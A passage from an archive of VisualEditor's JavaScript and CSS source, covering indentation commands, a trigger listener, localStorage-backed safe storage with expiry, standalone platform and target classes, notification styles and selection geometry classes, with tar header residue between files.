ve.ui.commandRegistry.register( new ve.ui.MergeCellsCommand() );
ui/commands/ve.ui.IndentationCommand.js000066600000002116151334753760014142 0ustar00/*!
 * VisualEditor UserInterface IndentationCommand class.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

/**
 * UserInterface indentation command.
 *
 * @class
 * @extends ve.ui.Command
 *
 * @constructor
 * @param {string} name
 * @param {string} method
 */
ve.ui.IndentationCommand = function VeUiIndentationCommand( name, method ) {
	// Parent constructor
	ve.ui.IndentationCommand.super.call(
		this, name, 'indentation', method,
		{ supportedSelections: [ 'linear' ] }
	);
};

/* Inheritance */

OO.inheritClass( ve.ui.IndentationCommand, ve.ui.Command );

/* Methods */

/**
 * @inheritdoc
 */
ve.ui.IndentationCommand.prototype.isExecutable = function ( fragment ) {
	// Parent method
	if ( !ve.ui.IndentationCommand.super.prototype.isExecutable.apply( this, arguments ) ) {
		return false;
	}
	return fragment.hasMatchingAncestor( 'listItem' );
};

/* Registration */

ve.ui.commandRegistry.register( new ve.ui.IndentationCommand( 'indent', 'increase' ) );

ve.ui.commandRegistry.register( new ve.ui.IndentationCommand( 'outdent', 'decrease' ) );
ve.TriggerListener.js000066600000003073151334753760010651 0ustar00/*!
 * VisualEditor UserInterface TriggerListener class.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

/**
 * Trigger listener
 *
 * @class
 *
 * @constructor
 * @param {string[]} commands Commands to listen to triggers for
 * @param {ve.ui.CommandRegistry} commandRegistry Command registry to get commands from
 */
ve.TriggerListener = function VeTriggerListener( commands, commandRegistry ) {
	// Properties
	this.commands = commands;
	this.commandsByTrigger = {};
	this.triggers = {};

	for ( var i = this.commands.length - 1; i >= 0; i-- ) {
		var command = this.commands[ i ];
		var triggers = ve.ui.triggerRegistry.lookup( command );
		if ( triggers ) {
			for ( var j = triggers.length - 1; j >= 0; j-- ) {
				this.commandsByTrigger[ triggers[ j ].toString() ] = commandRegistry.lookup( command );
			}
			this.triggers[ command ] = triggers;
		}
	}
};

/* Inheritance */

OO.initClass( ve.TriggerListener );

/* Methods */

/**
 * Get list of commands.
 *
 * @return {string[]} Commands
 */
ve.TriggerListener.prototype.getCommands = function () {
	return this.commands;
};

/**
 * Get command associated with trigger string.
 *
 * @param {string} trigger
 * @return {ve.ui.Command|undefined}
 */
ve.TriggerListener.prototype.getCommandByTrigger = function ( trigger ) {
	return this.commandsByTrigger[ trigger ];
};

/**
 * Get triggers for a specified name.
 *
 * @param {string} name Trigger name
 * @return {ve.ui.Trigger[]|undefined}
 */
ve.TriggerListener.prototype.getTriggers = function ( name ) {
	return this.triggers[ name ];
};
init/sa/ve.init.sa.SafeStorage.js000066600000011651151334753760012656 0ustar00( function () {
	// Copied from mediawiki.requestIdleCallback
	var requestIdleCallbackInternal = function ( callback ) {
		setTimeout( function () {
			var start = ve.now();
			callback( {
				didTimeout: false,
				timeRemaining: function () {
					// Hard code a target maximum busy time of 50 milliseconds
					return Math.max( 0, 50 - ( ve.now() - start ) );
				}
			} );
		}, 1 );
	};

	var requestIdleCallback = window.requestIdleCallback ?
		// Bind because it throws TypeError if context is not window
		window.requestIdleCallback.bind( window ) :
		requestIdleCallbackInternal;

	var EXPIRY_PREFIX = '_EXPIRY_';
	/**
	 * Implementation of ve.init.SafeStorage
	 *
	 * Duplicate of mediawiki.storage.
	 *
	 * @class ve.init.sa.SafeStorage
	 * @extends ve.init.SafeStorage
	 *
	 * @constructor
	 * @param {Storage|undefined} store The Storage instance to wrap around
	 */
	ve.init.sa.SafeStorage = function ( store ) {
		this.store = store;

		// Purge expired items once per page session
		var storage = this;
		setTimeout( function () {
			storage.clearExpired();
		}, 2000 );
	};

	/**
	 * @inheritdoc
	 */
	ve.init.sa.SafeStorage.prototype.get = function ( key ) {
		if ( this.isExpired( key ) ) {
			return null;
		}
		try {
			return this.store.getItem( key );
		} catch ( e ) {}
		return false;
	};

	/**
	 * @inheritdoc
	 */
	ve.init.sa.SafeStorage.prototype.set = function ( key, value, expiry ) {
		if ( key.slice( 0, EXPIRY_PREFIX.length ) === EXPIRY_PREFIX ) {
			throw new Error( 'Key can\'t have a prefix of ' + EXPIRY_PREFIX );
		}
		try {
			this.store.setItem( key, value );
			this.setExpires( key, expiry );
			return true;
		} catch ( e ) {}
		return false;
	};

	/**
	 * @inheritdoc
	 */
	ve.init.sa.SafeStorage.prototype.remove = function ( key ) {
		try {
			this.store.removeItem( key );
			this.setExpires( key );
			return true;
		} catch ( e ) {}
		return false;
	};

	/**
	 * @inheritdoc
	 */
	ve.init.sa.SafeStorage.prototype.getObject = function ( key ) {
		var json = this.get( key );

		if ( json === false ) {
			return false;
		}

		try {
			return JSON.parse( json );
		} catch ( e ) {}

		return null;
	};

	/**
	 * @inheritdoc
	 */
	ve.init.sa.SafeStorage.prototype.setObject = function ( key, value, expiry ) {
		var json;
		try {
			json = JSON.stringify( value );
			return this.set( key, json, expiry );
		} catch ( e ) {}
		return false;
	};

	/**
	 * @inheritdoc
	 */
	ve.init.sa.SafeStorage.prototype.setExpires = function ( key, expiry ) {
		if ( expiry ) {
			try {
				this.store.setItem(
					EXPIRY_PREFIX + key,
					Math.floor( Date.now() / 1000 ) + expiry
				);
			} catch ( e ) {}
		} else {
			try {
				this.store.removeItem( EXPIRY_PREFIX + key );
			} catch ( e ) {}
		}
	};

	// Minimum amount of time (in milliseconds) for an iteration involving localStorage access.
	var MIN_WORK_TIME = 3;

	/**
	 * @inheritdoc
	 */
	ve.init.sa.SafeStorage.prototype.clearExpired = function () {
		var storage = this;
		return this.getExpiryKeys().then( function ( keys ) {
			return $.Deferred( function ( d ) {
				requestIdleCallback( function iterate( deadline ) {
					while ( keys[ 0 ] !== undefined && deadline.timeRemaining() > MIN_WORK_TIME ) {
						var key = keys.shift();
						if ( storage.isExpired( key ) ) {
							storage.remove( key );
						}
					}
					if ( keys[ 0 ] !== undefined ) {
						// Ran out of time with keys still to remove, continue later
						requestIdleCallback( iterate );
					} else {
						return d.resolve();
					}
				} );
			} );
		} );
	};

	/**
	 * @inheritdoc
	 */
	ve.init.sa.SafeStorage.prototype.getExpiryKeys = function () {
		var store = this.store;
		return $.Deferred( function ( d ) {
			requestIdleCallback( function ( deadline ) {
				var prefixLength = EXPIRY_PREFIX.length;
				var keys = [];
				var length = 0;
				try {
					length = store.length;
				} catch ( e ) {}

				// Optimization: If time runs out, degrade to checking fewer keys.
				// We will get another chance during a future page view. Iterate forward
				// so that older keys are checked first and increase likelihood of recovering
				// from key exhaustion.
				//
				// We don't expect to have more keys than we can handle in 50ms long-task window.
				// But, we might still run out of time when other tasks run before this,
				// or when the device receives UI events (especially on low-end devices).
				for ( var i = 0; ( i < length && deadline.timeRemaining() > MIN_WORK_TIME ); i++ ) {
					var key = null;
					try {
						key = store.key( i );
					} catch ( e ) {}
					if ( key !== null && key.slice( 0, prefixLength ) === EXPIRY_PREFIX ) {
						keys.push( key.slice( prefixLength ) );
					}
				}
				d.resolve( keys );
			} );
		} ).promise();
	};

	/**
	 * @inheritdoc
	 */
	ve.init.sa.SafeStorage.prototype.isExpired = function ( key ) {
		var expiry;
		try {
			expiry = this.store.getItem( EXPIRY_PREFIX + key );
		} catch ( e ) {
			return false;
		}
		return !!expiry && expiry < Math.floor( Date.now() / 1000 );
	};
}() );
init/sa/ve.init.sa.Target.js000066600000003741151334753760011702 0ustar00/*!
 * VisualEditor Standalone Initialization Target class.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

/**
 * Initialization Standalone target.
 *
 * A platform must be constructed first. See ve.init.sa.Platform for an example.
 *
 *     @example
 *     ve.init.platform.initialize().done( function () {
 *         var target = new ve.init.sa.DesktopTarget();
 *         target.addSurface(
 *             ve.dm.converter.getModelFromDom(
 *                 ve.createDocumentFromHtml( '<p>Hello, World!</p>' )
 *             )
 *         );
 *         $( document.body ).append( target.$element );
 *     } );
 *
 * @abstract
 * @class
 * @extends ve.init.Target
 *
 * @constructor
 * @param {Object} [config] Configuration options
 * @cfg {Object} [toolbarConfig] Configuration options for the toolbar
 */
ve.init.sa.Target = function VeInitSaTarget( config ) {
	config = config || {};
	config.toolbarConfig = ve.extendObject( { shadow: true, floatable: true }, config.toolbarConfig );

	// Parent constructor
	ve.init.sa.Target.super.call( this, config );

	this.$element
		.addClass( 've-init-sa-target' )
		.attr( 'lang', ve.init.platform.getUserLanguages()[ 0 ] );
};

/* Inheritance */

OO.inheritClass( ve.init.sa.Target, ve.init.Target );

/* Methods */

/**
 * @inheritdoc
 * @fires surfaceReady
 */
ve.init.sa.Target.prototype.addSurface = function () {
	// Parent method
	var surface = ve.init.sa.Target.super.prototype.addSurface.apply( this, arguments );

	this.$element.append( $( '<div>' ).addClass( 've-init-sa-target-surfaceWrapper' ).append( surface.$element ) );
	if ( !this.getSurface() ) {
		this.setSurface( surface );
	}
	surface.initialize();
	this.emit( 'surfaceReady' );
	return surface;
};

/**
 * @inheritdoc
 */
ve.init.sa.Target.prototype.setupToolbar = function ( surface ) {
	// Parent method
	ve.init.sa.Target.super.prototype.setupToolbar.call( this, surface );

	this.getToolbar().$element.addClass( 've-init-sa-target-toolbar' );
};
init/sa/ve.init.sa.DesktopTarget.js000066600000001256151334753760013233 0ustar00/*!
 * VisualEditor Standalone Initialization Desktop Target class.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

/**
 * Initialization standalone desktop target.
 *
 * @class
 * @extends ve.init.sa.Target
 *
 * @constructor
 * @param {Object} [config] Configuration options
 * @cfg {Object} [toolbarConfig] Configuration options for the toolbar
 */
ve.init.sa.DesktopTarget = function VeInitSaDesktopTarget( config ) {
	// Parent constructor
	ve.init.sa.DesktopTarget.super.call( this, config );

	this.$element.addClass( 've-init-sa-desktopTarget' );
};

/* Inheritance */

OO.inheritClass( ve.init.sa.DesktopTarget, ve.init.sa.Target );
init/sa/styles/ve.init.sa.Platform.css000066600000001645151334753760013740 0ustar00/*!
 * VisualEditor Standalone Platform styles.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

.ve-init-notifications {
	position: fixed;
	top: 1em;
	right: 1em;
	width: 20em;
	z-index: 2;
}

.ve-init-notification-wrapper {
	opacity: 0;
	-webkit-transform: translateX( 50% );
	transform: translateX( 50% );
	overflow: hidden;
	transition: opacity 250ms ease, transform 250ms ease, height 250ms ease;
}

.ve-init-notification {
	cursor: pointer;
	background: #fff;
	border: 1px solid #ccc;
	border-radius: 2px;
	box-shadow: 0 2px 2px 0 rgba( 0, 0, 0, 0.25 );
	padding: 0.75em 1.5em;
	margin-bottom: 1em;
}

.ve-init-notification-title {
	font-weight: bold;
}

.ve-init-notification-open {
	opacity: 1;
	-webkit-transform: translateX( 0 );
	transform: translateX( 0 );
}

.ve-init-notification-collapse {
	/* stylelint-disable-next-line declaration-no-important */
	height: 0 !important;
}
init/sa/styles/ve.init.sa.css000066600000001047151334753760012151 0ustar00/*!
 * VisualEditor Standalone Initialization styles.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

code {
	font-family: monospace, monospace;
	background: #eee;
}

figure {
	display: table;
}

figcaption {
	display: table-caption;
	caption-side: bottom;
}

/* @noflip */
.ve-align-right {
	float: right;
	clear: right;
	margin: 0.5em 0 1em 1em;
}

/* @noflip */
.ve-align-left {
	float: left;
	clear: left;
	margin: 0.5em 1em 1em 0;
}

.ve-align-center {
	margin: 0.5em auto 1em auto;
	display: table;
}
init/sa/ve.init.sa.js000066600000000472151334753760010453 0ustar00/*!
 * VisualEditor stand-alone Initialization namespace.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

/**
 * Namespace for all VisualEditor stand-alone Initialization classes, static methods and static
 * properties.
 *
 * @class
 * @singleton
 */
ve.init.sa = {
};
init/sa/ve.init.sa.Platform.js000066600000021064151334753760012236 0ustar00/*!
 * VisualEditor Standalone Initialization Platform class.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

/**
 * Initialization Standalone platform.
 *
 *     @example
 *     var platform = new ve.init.sa.Platform( ve.messagePaths );
 *     platform.initialize().done( function () {
 *         $( document.body ).append( $( '<p>' ).text(
 *             platform.getMessage( 'visualeditor' )
 *         ) );
 *     } );
 *
 * @class
 * @extends ve.init.Platform
 *
 * @constructor
 * @param {string[]} [messagePaths] Message folder paths
 */
ve.init.sa.Platform = function VeInitSaPlatform( messagePaths ) {
	// Parent constructor
	ve.init.Platform.call( this );

	// Properties
	this.externalLinkUrlProtocolsRegExp = /^https?:\/\//i;
	this.unanchoredExternalLinkUrlProtocolsRegExp = /https?:\/\//i;
	this.messagePaths = messagePaths || [];
	this.parsedMessages = {};
	this.userLanguages = [ 'en' ];
};

/* Inheritance */

OO.inheritClass( ve.init.sa.Platform, ve.init.Platform );

/* Methods */

/** @inheritdoc */
ve.init.sa.Platform.prototype.getExternalLinkUrlProtocolsRegExp = function () {
	return this.externalLinkUrlProtocolsRegExp;
};

/** @inheritdoc */
ve.init.sa.Platform.prototype.getUnanchoredExternalLinkUrlProtocolsRegExp = function () {
	return this.unanchoredExternalLinkUrlProtocolsRegExp;
};

/** @inheritdoc */
ve.init.sa.Platform.prototype.notify = function ( message, title ) {
	var $notification = $( '<div>' ).addClass( 've-init-notification' );

	if ( title ) {
		$notification.append(
			// Never appends strings directly
			// eslint-disable-next-line no-jquery/no-append-html
			$( '<div>' ).addClass( 've-init-notification-title' ).append(
				typeof title === 'string' ? document.createTextNode( title ) : title
			)
		);
	}
	$notification.append(
		// Never appends strings directly
		// eslint-disable-next-line no-jquery/no-append-html
		$( '<div>' ).addClass( 've-init-notification-message' ).append(
			typeof message === 'string' ? document.createTextNode( message ) : message
		)
	);

	var $notificationWrapper = $( '<div>' ).addClass( 've-init-notification-wrapper' );
	$notificationWrapper.append( $notification );

	if ( !this.$notifications ) {
		this.$notifications = $( '<div>' ).addClass( 've-init-notifications' );
		$( document.body ).append( this.$notifications );
	}

	var closeId;

	function remove() {
		$notificationWrapper.remove();
	}
	function collapse() {
		$notificationWrapper.addClass( 've-init-notification-collapse' );
		setTimeout( remove, 250 );
	}
	function close() {
		clearTimeout( closeId );
		$notificationWrapper.removeClass( 've-init-notification-open' );
		$notificationWrapper.css( 'height', $notificationWrapper[ 0 ].clientHeight );
		setTimeout( collapse, 250 );
	}
	function open() {
		$notificationWrapper.addClass( 've-init-notification-open' );
		closeId = setTimeout( close, 5000 );
	}

	var rAF = window.requestAnimationFrame || setTimeout;
	rAF( open );

	$notification.on( 'click', close );

	this.$notifications.append( $notificationWrapper );
};

/**
 * Get message folder paths
 *
 * @return {string[]} Message folder paths
 */
ve.init.sa.Platform.prototype.getMessagePaths = function () {
	return this.messagePaths;
};

/** @inheritdoc */
ve.init.sa.Platform.prototype.addMessages = function ( messages ) {
	$.i18n().load( messages, $.i18n().locale );
};

/**
 * @method
 * @inheritdoc
 */
ve.init.sa.Platform.prototype.getMessage = $.i18n;

/**
 * @method
 * @inheritdoc
 */
ve.init.sa.Platform.prototype.parseNumber = function ( value ) {
	// TODO: Support separated numbers such as (en)123,456.78 or (fr)123.456,78
	return parseFloat( value );
};

/**
 * @method
 * @inheritdoc
 */
ve.init.sa.Platform.prototype.formatNumber = function ( number ) {
	return number.toLocaleString();
};

/**
 * @inheritdoc
 */
ve.init.sa.Platform.prototype.getHtmlMessage = function ( key ) {
	var $message = $( [] ),
		lastOffset = 0,
		args = arguments,
		message = this.getMessage( key );
	message.replace( /\$[0-9]+/g, function ( placeholder, offset ) {
		$message = $message.add( ve.sanitizeHtml( message.slice( lastOffset, offset ) ) );
		var placeholderIndex = +( placeholder.slice( 1 ) );
		var arg = args[ placeholderIndex ];
		$message = $message.add(
			typeof arg === 'string' ?
				// Arguments come from the code so shouldn't be sanitized
				document.createTextNode( arg ) :
				arg
		);
		lastOffset = offset + placeholder.length;
	} );
	$message = $message.add( ve.sanitizeHtml( message.slice( lastOffset ) ) );
	return $message.toArray();
};

/**
 * @inheritdoc
 */
ve.init.sa.Platform.prototype.getConfig = function () {
	/* Standalone has no config yet */
	return null;
};

/**
 * @inheritdoc
 */
ve.init.sa.Platform.prototype.getUserConfig = function ( keys ) {
	if ( Array.isArray( keys ) ) {
		var values = {};
		for ( var i = 0, l = keys.length; i < l; i++ ) {
			values[ keys[ i ] ] = this.getUserConfig( keys[ i ] );
		}
		return values;
	} else {
		try {
			return JSON.parse( localStorage.getItem( 've-' + keys ) );
		} catch ( e ) {
			return null;
		}
	}
};

/**
 * @inheritdoc
 */
ve.init.sa.Platform.prototype.setUserConfig = function ( keyOrValueMap, value ) {
	if ( typeof keyOrValueMap === 'object' ) {
		for ( var i in keyOrValueMap ) {
			if ( Object.prototype.hasOwnProperty.call( keyOrValueMap, i ) ) {
				if ( !this.setUserConfig( i, keyOrValueMap[ i ] ) ) {
					// localStorage will fail if the quota is full, so further
					// sets won't work anyway.
					return false;
				}
			}
		}
	} else {
		try {
			localStorage.setItem( 've-' + keyOrValueMap, JSON.stringify( value ) );
		} catch ( e ) {
			return false;
		}
	}
	return true;
};

ve.init.sa.Platform.prototype.createSafeStorage = function ( storage ) {
	return new ve.init.sa.SafeStorage( storage );
};

/**
 * @inheritdoc
 */
ve.init.sa.Platform.prototype.addParsedMessages = function ( messages ) {
	for ( var key in messages ) {
		this.parsedMessages[ key ] = messages[ key ];
	}
};

/**
 * @inheritdoc
 */
ve.init.sa.Platform.prototype.getParsedMessage = function ( key ) {
	if ( Object.prototype.hasOwnProperty.call( this.parsedMessages, key ) ) {
		return this.parsedMessages[ key ];
	}
	// Fallback to regular messages, html escaping applied.
	return this.getMessage( key ).replace( /['"<>&]/g, function ( char ) {
		return {
			'\'': '&#039;',
			'"': '&quot;',
			'<': '&lt;',
			'>': '&gt;',
			'&': '&amp;'
		}[ char ];
	} );
};

/**
 * @inheritdoc
 */
ve.init.sa.Platform.prototype.getLanguageCodes = function () {
	return Object.keys( $.uls.data.getAutonyms() );
};

/**
 * @method
 * @inheritdoc
 */
ve.init.sa.Platform.prototype.getLanguageName = $.uls.data.getAutonym;

/**
 * @method
 * @inheritdoc
 */
ve.init.sa.Platform.prototype.getLanguageAutonym = $.uls.data.getAutonym;

/**
 * @method
 * @inheritdoc
 */
ve.init.sa.Platform.prototype.getLanguageDirection = $.uls.data.getDir;

/**
 * @inheritdoc
 */
ve.init.sa.Platform.prototype.getUserLanguages = function () {
	return this.userLanguages;
};

/**
 * @inheritdoc
 */
ve.init.sa.Platform.prototype.initialize = function () {
	var messagePaths = this.getMessagePaths(),
		locale = $.i18n().locale,
		languages = [ locale, 'en' ], // Always use 'en' as the final fallback
		languagesCovered = {},
		promises = [],
		fallbacks = $.i18n.fallbacks[ locale ];

	if ( !VisualEditorSupportCheck() ) {
		return ve.createDeferred().reject().promise();
	}

	if ( !fallbacks ) {
		// Try to find something that has fallbacks (which means it's a language we know about)
		// by stripping things from the end. But collect all the intermediate ones in case we
		// go past languages that don't have fallbacks but do exist.
		var localeParts = locale.split( '-' );
		localeParts.pop();
		while ( localeParts.length && !fallbacks ) {
			var partialLocale = localeParts.join( '-' );
			languages.push( partialLocale );
			fallbacks = $.i18n.fallbacks[ partialLocale ];
			localeParts.pop();
		}
	}

	if ( fallbacks ) {
		languages = languages.concat( fallbacks );
	}

	this.userLanguages = languages;

	for ( var i = 0, iLen = languages.length; i < iLen; i++ ) {
		if ( languagesCovered[ languages[ i ] ] ) {
			continue;
		}
		languagesCovered[ languages[ i ] ] = true;

		// Lower-case the language code for the filename. jQuery.i18n does not case-fold
		// language codes, so we should not case-fold the second argument in #load.
		var filename = languages[ i ].toLowerCase() + '.json';

		for ( var j = 0, jLen = messagePaths.length; j < jLen; j++ ) {
			var deferred = ve.createDeferred();
			$.i18n().load( messagePaths[ j ] + filename, languages[ i ] )
				.always( deferred.resolve );
			promises.push( deferred.promise() );
		}
	}
	return ve.promiseAll( promises );
};
init/sa/ve.init.sa.MobileTarget.js000066600000003640151334753760013030 0ustar00/*!
 * VisualEditor Standalone Initialization Mobile Target class.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

/**
 * Initialization standalone mobile target.
 *
 * @class
 * @extends ve.init.sa.Target
 *
 * @constructor
 * @param {Object} [config] Configuration options
 * @cfg {Object} [toolbarConfig] Configuration options for the toolbar
 */
ve.init.sa.MobileTarget = function VeInitSaMobileTarget( config ) {
	// Parent constructor
	ve.init.sa.MobileTarget.super.call( this, config );

	this.$element.addClass( 've-init-mobileTarget' );
};

/* Inheritance */

OO.inheritClass( ve.init.sa.MobileTarget, ve.init.sa.Target );

/* Static Properties */

ve.init.sa.MobileTarget.static.toolbarGroups = [
	{
		name: 'history',
		include: [ 'undo' ]
	},
	{
		name: 'style',
		header: OO.ui.deferMsg( 'visualeditor-toolbar-text-style' ),
		title: OO.ui.deferMsg( 'visualeditor-toolbar-style-tooltip' ),
		label: OO.ui.deferMsg( 'visualeditor-toolbar-style-tooltip' ),
		invisibleLabel: true,
		type: 'list',
		icon: 'textStyle',
		include: [ { group: 'textStyle' }, 'language', 'clear' ],
		forceExpand: [ 'bold', 'italic', 'clear' ],
		promote: [ 'bold', 'italic' ],
		demote: [ 'strikethrough', 'code', 'underline', 'language', 'clear' ]
	},
	{
		name: 'link',
		include: [ 'link' ]
	},
	{
		name: 'structure',
		header: OO.ui.deferMsg( 'visualeditor-toolbar-structure' ),
		title: OO.ui.deferMsg( 'visualeditor-toolbar-structure' ),
		label: OO.ui.deferMsg( 'visualeditor-toolbar-structure' ),
		invisibleLabel: true,
		type: 'list',
		icon: 'listBullet',
		include: [ { group: 'structure' } ],
		demote: [ 'outdent', 'indent' ]
	},
	{
		name: 'insert',
		header: OO.ui.deferMsg( 'visualeditor-toolbar-insert' ),
		title: OO.ui.deferMsg( 'visualeditor-toolbar-insert' ),
		label: OO.ui.deferMsg( 'visualeditor-toolbar-insert' ),
		invisibleLabel: true,
		type: 'list',
		icon: 'add',
		include: '*'
	}
];
ce/selections/ve.ce.NullSelection.js000066600000002537151334753760013451 0ustar00/*!
 * VisualEditor Null Selection class.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

/**
 * @class
 * @extends ve.ce.Selection
 * @constructor
 * @param {ve.ce.Surface} surface
 * @param {ve.dm.Selection} model
 */
ve.ce.NullSelection = function VeCeNullSelection() {
	// Parent constructor
	ve.ce.NullSelection.super.apply( this, arguments );
};

/* Inheritance */

OO.inheritClass( ve.ce.NullSelection, ve.ce.Selection );

/* Static Properties */

ve.ce.NullSelection.static.name = 'null';

/* Method */

/**
 * @inheritdoc
 */
ve.ce.NullSelection.prototype.getSelectionRects = function () {
	return null;
};

/**
 * @inheritdoc
 */
ve.ce.NullSelection.prototype.getSelectionStartAndEndRects = function () {
	return null;
};

/**
 * @inheritdoc
 */
ve.ce.NullSelection.prototype.getSelectionBoundingRect = function () {
	return null;
};

/**
 * @inheritdoc
 */
ve.ce.NullSelection.prototype.isFocusedNode = function () {
	return false;
};

/**
 * @inheritdoc
 */
ve.ce.NullSelection.prototype.isNativeCursor = function () {
	return false;
};

/**
 * @inheritdoc
 *
 * Null selections don't exist in the view, so just return document directionality.
 */
ve.ce.NullSelection.prototype.getDirectionality = function ( doc ) {
	return doc.getDir();
};

/* Registration */

ve.ce.selectionFactory.register( ve.ce.NullSelection );
ce/selections/ve.ce.TableSelection.js000066600000006376151334753760013573 0ustar00/*!
 * VisualEditor Table Selection class.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

/**
 * @class
 * @extends ve.ce.Selection
 * @constructor
 * @param {ve.ce.Surface} surface
 * @param {ve.dm.Selection} model
 */
ve.ce.TableSelection = function VeCeTableSelection() {
	// Parent constructor
	ve.ce.TableSelection.super.apply( this, arguments );
	this.directionality = null;
};

/* Inheritance */

OO.inheritClass( ve.ce.TableSelection, ve.ce.Selection );

/* Static Properties */

ve.ce.TableSelection.static.name = 'table';

/* Method */

/**
 * @inheritdoc
 */
ve.ce.TableSelection.prototype.getSelectionRects = function () {
	return [ this.getSelectionBoundingRect() ];
};

/**
 * @inheritdoc
 */
ve.ce.TableSelection.prototype.getSelectionBoundingRect = function () {
	var surface = this.getSurface(),
		tableNode = surface.getDocument().getBranchNodeFromOffset( this.model.tableRange.start + 1 ),
		nodes = tableNode.getCellNodesFromSelection( this.getModel() ),
		surfaceRect = surface.getSurface().getBoundingClientRect();

	var top = Infinity;
	var bottom = -Infinity;
	var left = Infinity;
	var right = -Infinity;

	// Compute a bounding box for the given cell elements
	for ( var i = 0, l = nodes.length; i < l; i++ ) {
		var cellNode = nodes[ i ].$element[ 0 ];
		if ( !cellNode ) {
			return null;
		}
		var cellOffset = cellNode.getBoundingClientRect();

		top = Math.min( top, cellOffset.top );
		bottom = Math.max( bottom, cellOffset.bottom );
		left = Math.min( left, cellOffset.left );
		right = Math.max( right, cellOffset.right );
	}

	// Browser tweaks to adjust for border-collapse:collapse
	if ( !ve.test ) {
		switch ( $.client.profile().layout ) {
			case 'webkit':
				right += 1;
				bottom += 1;
				break;
			case 'gecko':
				left -= 1;
				top -= 1;
				break;
		}
	}

	var boundingRect = {
		top: top,
		bottom: bottom,
		left: left,
		right: right,
		width: right - left,
		height: bottom - top
	};

	if ( !boundingRect || !surfaceRect ) {
		return null;
	}
	return ve.translateRect( boundingRect, -surfaceRect.left, -surfaceRect.top );
};

/**
 * Get the bounding rectangle of the parent table
 *
 * @return {Object|null} Selection rectangle, with keys top, bottom, left, right, width, height
 */
ve.ce.TableSelection.prototype.getTableBoundingRect = function () {
	var surface = this.getSurface(),
		tableNode = surface.getDocument().getBranchNodeFromOffset( this.model.tableRange.start + 1 );

	if ( !tableNode ) {
		return null;
	}

	var surfaceRect = surface.getSurface().getBoundingClientRect();
	var boundingRect = tableNode.$element[ 0 ].getBoundingClientRect();

	if ( !boundingRect || !surfaceRect ) {
		return null;
	}
	return ve.translateRect( boundingRect, -surfaceRect.left, -surfaceRect.top );
};

/**
 * @inheritdoc
 */
ve.ce.TableSelection.prototype.isFocusedNode = function () {
	return true;
};

/**
 * @inheritdoc
 */
ve.ce.TableSelection.prototype.isNativeCursor = function () {
	return false;
};

/**
 * @inheritdoc
 */
ve.ce.TableSelection.prototype.getDirectionality = function ( doc ) {
	if ( !this.directionality ) {
		this.directionality = doc.getDirectionalityFromRange( this.getModel().tableRange );
	}
	return this.directionality;
};

/* Registration */

ve.ce.selectionFactory.register( ve.ce.TableSelection );
ce/selections/ve.ce.LinearSelection.js000066600000015366151334753760013755 0ustar00/*!
 * VisualEditor Linear Selection class.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

/**
 * @class
 * @extends ve.ce.Selection
 * @constructor
 * @param {ve.ce.Surface} surface
 * @param {ve.dm.Selection} model
 */
ve.ce.LinearSelection = function VeCeLinearSelection() {
	// Parent constructor
	ve.ce.LinearSelection.super.apply( this, arguments );

	// Properties
	// The focused node in the view when this selection was created, if one exists
	this.focusedNode = this.getSurface().getFocusedNode( this.getModel().getRange() );
	this.directionality = null;
};

/* Inheritance */

OO.inheritClass( ve.ce.LinearSelection, ve.ce.Selection );

/* Static Properties */

ve.ce.LinearSelection.static.name = 'linear';

/* Method */

/**
 * @inheritdoc
 */
ve.ce.LinearSelection.prototype.getSelectionRects = function () {
	var surface = this.getSurface(),
		rects = [],
		relativeRects = [];

	var range = this.getModel().getRange();
	var focusedNode = surface.getFocusedNode( range );

	if ( focusedNode ) {
		return focusedNode.getRects();
	}

	var nativeRange = surface.getNativeRange( range );
	if ( !nativeRange ) {
		return null;
	}

	// Support: Firefox, IE
	// Calling getClientRects sometimes fails:
	// * in Firefox on page load when the address bar is still focused
	// * in empty paragraphs
	// * near annotation nails
	try {
		rects = RangeFix.getClientRects( nativeRange );
		if ( !rects.length ) {
			throw new Error( 'getClientRects returned empty list' );
		}
	} catch ( e ) {
		var rect = this.getNodeClientRectFromRange( nativeRange );
		if ( rect ) {
			rects = [ rect ];
		}
	}

	var surfaceRect = surface.getSurface().getBoundingClientRect();
	if ( !rects || !surfaceRect ) {
		return null;
	}

	for ( var i = 0, l = rects.length; i < l; i++ ) {
		relativeRects.push( ve.translateRect( rects[ i ], -surfaceRect.left, -surfaceRect.top ) );
	}
	return relativeRects;
};

/**
 * @inheritdoc
 */
ve.ce.LinearSelection.prototype.getSelectionStartAndEndRects = function () {
	var surface = this.getSurface();

	var range = this.getModel().getRange();
	var focusedNode = surface.getFocusedNode( range );

	if ( focusedNode ) {
		return focusedNode.getStartAndEndRects();
	}

	return ve.getStartAndEndRects( this.getSelectionRects() );
};

/**
 * @inheritdoc
 */
ve.ce.LinearSelection.prototype.getSelectionBoundingRect = function () {
	var surface = this.getSurface();

	var range = this.getModel().getRange();
	var focusedNode = surface.getFocusedNode( range );

	if ( focusedNode ) {
		return focusedNode.getBoundingRect();
	}

	var nativeRange = surface.getNativeRange( range );
	if ( !nativeRange ) {
		return null;
	}

	var boundingRect;
	try {
		boundingRect = RangeFix.getBoundingClientRect( nativeRange );
	} catch ( e ) {
		boundingRect = null;
	}
	if ( !boundingRect ) {
		boundingRect = this.getNodeClientRectFromRange( nativeRange );
	}

	var surfaceRect = surface.getSurface().getBoundingClientRect();
	if ( !boundingRect || !surfaceRect ) {
		return null;
	}
	return ve.translateRect( boundingRect, -surfaceRect.left, -surfaceRect.top );
};

/**
 * Get a client rect from the range's end node
 *
 * This function is used internally by getSelectionRects and
 * getSelectionBoundingRect as a fallback when Range.getClientRects
 * fails. The width is hard-coded to 0 as the function is used to
